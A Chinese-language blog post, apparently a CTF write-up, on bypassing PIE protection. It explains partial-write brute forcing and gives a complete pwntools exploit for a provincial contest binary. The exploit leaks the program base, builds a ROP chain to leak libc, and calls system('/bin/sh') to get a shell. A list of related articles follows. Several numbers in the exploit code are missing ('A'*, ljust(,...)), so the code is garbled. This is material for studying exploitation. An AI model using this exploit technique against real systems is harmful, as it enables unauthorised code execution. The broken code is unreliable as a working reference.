(一):partial write

开了PIE保护的程序,其低12位地址是固定的,所以我们可以采用partial write。但是我们不能写入一个半字节,所以选择写入两个字节,倒数地位进行爆破,范围是0到f,例如:

list1 = ["x05","x15","x25","x35","x45","x55","x65","x75","x85","x95","xa5","xb5","xc5","xd5","xe5","xf5"]

列表里是第二位字节可能的值,使用循环进行爆破。

(二):泄露地址

PIE 保护机制,影响的是程序加载的基址,并不会影响指令间的相对地址,因此如果我们能够泄露程序的某个地址,就可以通过修改偏移获得程序其它函数的地址。

这是浙江省省赛的一道pwn题,首先查看保护:

发现只有栈溢出没开。

用IDA查看反汇编代码,发现由两处可以输入的地方:

第一处的输入用户名时候

第二处则是在输入算式结果的时候

经过分析发现,在输入用户名时函数并不会给字符串末尾加上 '\0' ,而 puts() 函数是在遇到 '\0' 时结束输出,故我们可以利用这一特性泄露内存。可以采用填充8个字节或16个字节来泄露内存。在使用填充16个字节泄露内存时应注意是 p.send('A'*16) 而非 p.sendline('A'*16),否则多出来的 '\n' 会影响接下来程序的执行。

第二处输入存在明显的栈溢出,故我们可以利用此处构造 payload。完整的exploit如下:

# -*- coding:utf- -*-
from pwn import *
libc = ELF('./libc.so.6') context.log_level = 'debug'
p = process('./uninit')
# libc=ELF('./libc.so.6')
gdb.attach(p)
p.sendafter("name:", 'A'*) # 发送填充16个字节
p.recvuntil('A'*) PIE_addr = p.recvuntil("\n")
PIE_addr = u64(PIE_addr[:-].ljust(, '\x00')) #用u64()解包地址
# PIE_addr=u64(p.readline()[:-].ljust(,'\x00'))
log.success("PIE_addr ==> {:#x}".format(PIE_addr)) base1 = PIE_addr - (0x55e5dce05b39-0x000055e5dce05000) #计算程序加载基地址 pop_rdi_addr = base1 + 0x0000000000000fd3 # pop rdi;的地址,用于构造puts和system函数的参数
puts_plt = base1 + 0x940
offset = 0x30 + 0x8 #覆盖到栈底的填充字节
puts_got = base1 + 0x201F60
start_addr = base1 + 0x9c0 #程序起始运行处的地址
payload = offset*'A' + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt)
payload += p64(start_addr)
payload = payload.ljust(0x400, 'A')
#gdb.attach(p)
p.recvuntil("Tell me count of game:")
p.sendline('') p.recvuntil("Answer:")
p.send(payload)
puts_addr = u64(p.recv().ljust(,'\x00')) base2=puts_addr-(0x7ff149172690-0x00007ff149103000) #libc加载基地址 log.success("puts_addr ==> {:#x}".format(puts_addr))
log.success("base2 ==> {:#x}".format(base2)) system_addr=libc.symbols['system']+base2 #system函数的地址
bin_sh_addr=next(libc.search('/bin/sh'))+base2 #‘/bin/sh’的地址
log.success("bin_sh_addr ==> {:#x}".format(bin_sh_addr))
log.success("system_addr ==> {:#x}".format(system_addr)) payload2=offset*'A'+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
payload2+=p64(start_addr)
payload2=payload2.ljust(0x400,'\x00') #此处用‘\x00’填充是考虑到调用system时需要的环境变量 p.sendlineafter("name:",'A'*)
p.sendlineafter("game:",'')
p.sendafter("Answer:",payload2) p.interactive("countfatcode $")

(三):vdso/vsyscall

尚待补充

————————————————————————————————————————————————————————————————————————————————————————

记录一个跟本篇无关的保护:

RELRO:设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。

  • Partial RELRO:ELF节重排,对GOT仍然可写
  • Full RELRO:GOT只读

PIE保护绕过的更多相关文章

  1. pie的绕过方式

    目标程序下载 提取码:qk1y 1.检查程序开启了哪些安全保护机制 pie机制简介 PIE(position-independent executable) 是一个针对代码段.text, 数据段.*d ...

  2. safeseh+dep保护绕过

    [文章作者]       :h_one [漏洞程序名称]:mplayer.exe [漏洞类型]       :缓冲区溢出 [保护方式]       :safeseh+dep [操作平台]       ...

  3. Linux保护机制和绕过方式

    Linux保护机制和绕过方式 CANNARY(栈保护) ​ 栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行.用C ...

  4. Linux保护机制

    RELRO(RELocation Read Only) 在Linux中有两种RELRO模式:"Partial RELRO" 和 "Full RELRO".Lin ...

  5. CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  6. 蒸米一步一步ROP X64学习笔记

    原文地址https://segmentfault.com/a/1190000007406442,源代码地址https://github.com/zhengmin1989/ROP_STEP_BY_STE ...

  7. pwn入门之栈溢出练习

    本文原创作者:W1ngs,本文属i春秋原创奖励计划,未经许可禁止转载!前言:最近在入门pwn的栈溢出,做了一下jarvisoj里的一些ctf pwn题,感觉质量都很不错,难度循序渐进,把自己做题的思路 ...

  8. Hitcon 2016 Pwn赛题学习

    PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...

  9. linux漏洞分析入门笔记-bypass_PIE

    ubuntu 16.04 IDA 7.0 docker 0x00:漏洞分析 1.ASLR的是操作系统的功能选项,作用于executable(ELF)装入内存运行时,因而只能随机化stack.heap. ...

随机推荐

  1. gotoblas,mpich,hpl,hpcg的安装

    gotoblas的安装 mpich 安装 tar zxvf mpich-3.2.1.tar.gz cd mpich-3.2 ./configure --prefix=/usr/local/mpich( ...

  2. JDBC的开发步骤

    一.JDBC概述 JDBC(Java Data Base Connectivity,java数据库连接)是一种用于执行SQL语句的Java API,可以为多种关系数据库提供统一访问, 它由一组用Jav ...

  3. Markdown基本语法及生成目录结构的方法

    Markdown是一种纯文本格式的标记语言.通过简单的标记语法,它可以使普通文本内容具有一定的格式. 一.标题 在想要设置为标题的文字前面加#来表示一个#是一级标题,二个#是二级标题,以此类推.支持六 ...

  4. C#LeetCode刷题之#530-二叉搜索树的最小绝对差(Minimum Absolute Difference in BST)

    问题 该文章的最新版本已迁移至个人博客[比特飞],单击链接 https://www.byteflying.com/archives/4123 访问. 给定一个所有节点为非负值的二叉搜索树,求树中任意两 ...

  5. JS实例—DOM的增删改

    <!DOCTYPE html><html lang="zh"><head> <meta charset="UTF-8" ...

  6. elasticsearch java工具类

    docker运行elasticsearch docker pull elasticsearch:7.8.1 docker run -p 9200:9200 -p 9300:9300 -e " ...

  7. linux驱动之模块化编程小总结

    本文包含了linux驱动模块化编程的基本,包括创建多线程,延时,以及makefile 以一个实例来说明 #include<linux/init.h> #include<linux/m ...

  8. Vscode配置C++环境

    (终于申请博客了qaq) 之前用了那么久Dev-C++,总算换了一个编辑器,Visual Studio Code (Vscode). 界面可比以前的舒适多了. Vscode作为一款功能极其丰富的开发工 ...

  9. 基于 abp vNext 微服务开发的敏捷应用构建平台 - 项目介绍

    缘起 目前使用ABP框架已经将近3年了,大大小小的项目也陆陆续续做了很多.由于现有信息系统的架构模式是在底层的技术平台上直接构建信息系统并采用技术主导,使用业务无关的编程工具来开发信息系统的缺陷使得系 ...

  10. Advances and Open Problems in Federated Learning

    挖个大坑,等有空了再回来填.心心念念的大综述呀(吐血三升)! 郑重声明:原文参见标题,如有侵权,请联系作者,将会撤销发布! 项目地址:https://github.com/open-intellige ...